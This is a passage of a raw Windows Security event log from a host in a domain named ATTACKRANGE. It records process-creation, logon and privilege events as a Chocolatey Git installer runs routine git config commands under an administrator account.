Mandatory Label\High Mandatory Level - Creator Process ID: 0xa44 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246092 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa44 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config -l -z --system >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\git-config-get.txt" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe34 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config -l -z -f "C:\ProgramData\Git\config" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\git-config-get.txt" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246102 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8564C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246101 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x8564C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246100 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246099 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246098 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x74E8C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246122 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe10 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246121 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe10 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "http.sslCAInfo" "C:/Program Files/Git/mingw64/ssl/certs/ca-bundle.crt" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246120 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x824 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "http.sslBackend" "openssl" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246119 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe2c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "http.sslBackend" "openssl" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246117 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5b0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "filter.lfs.required" "true" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x55c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5b0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.required" "true" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x46c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "filter.lfs.process" "git-lfs filter-process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246113 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x46c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.process" "git-lfs filter-process" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x43c - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe38 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "filter.lfs.smudge" "git-lfs smudge -- %f" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf5c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe38 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: 